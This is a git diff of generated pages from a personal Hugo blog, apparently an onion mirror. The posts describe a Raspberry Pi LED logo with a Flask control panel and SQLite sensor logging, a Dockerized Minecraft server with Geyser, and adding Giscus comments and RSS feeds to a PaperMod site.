    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/flask/page/1/index.html b/public-onion/tags/flask/page/1/index.html new file mode 100644 index 0000000..ef11384 --- /dev/null +++ b/public-onion/tags/flask/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/ + + + + + + diff --git a/public-onion/tags/geyser/index.html b/public-onion/tags/geyser/index.html new file mode 100644 index 0000000..d5cf624 --- /dev/null +++ b/public-onion/tags/geyser/index.html @@ -0,0 +1,352 @@ + + + + + + + +Geyser | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/geyser/index.xml b/public-onion/tags/geyser/index.xml new file mode 100644 index 0000000..e974bf4 --- /dev/null +++ b/public-onion/tags/geyser/index.xml @@ -0,0 +1,185 @@ + + + + Geyser on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/ + Recent content in Geyser on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 29 Sep 2025 09:06:29 +0000 + + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/geyser/page/1/index.html b/public-onion/tags/geyser/page/1/index.html new file mode 100644 index 0000000..a24ae07 --- /dev/null +++ b/public-onion/tags/geyser/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/ + + + + + + diff --git a/public-onion/tags/giscus/index.html b/public-onion/tags/giscus/index.html new file mode 100644 index 0000000..4ad17de --- /dev/null +++ b/public-onion/tags/giscus/index.html @@ -0,0 +1,356 @@ + + + + + + + +Giscus | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    +
    +
    October 23, 2025 · 15 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/giscus/index.xml b/public-onion/tags/giscus/index.xml new file mode 100644 index 0000000..738682f --- /dev/null +++ b/public-onion/tags/giscus/index.xml @@ -0,0 +1,640 @@ + + + + Giscus on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/giscus/ + Recent content in Giscus on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 23 Oct 2025 19:31:12 +0200 + + + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. + +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
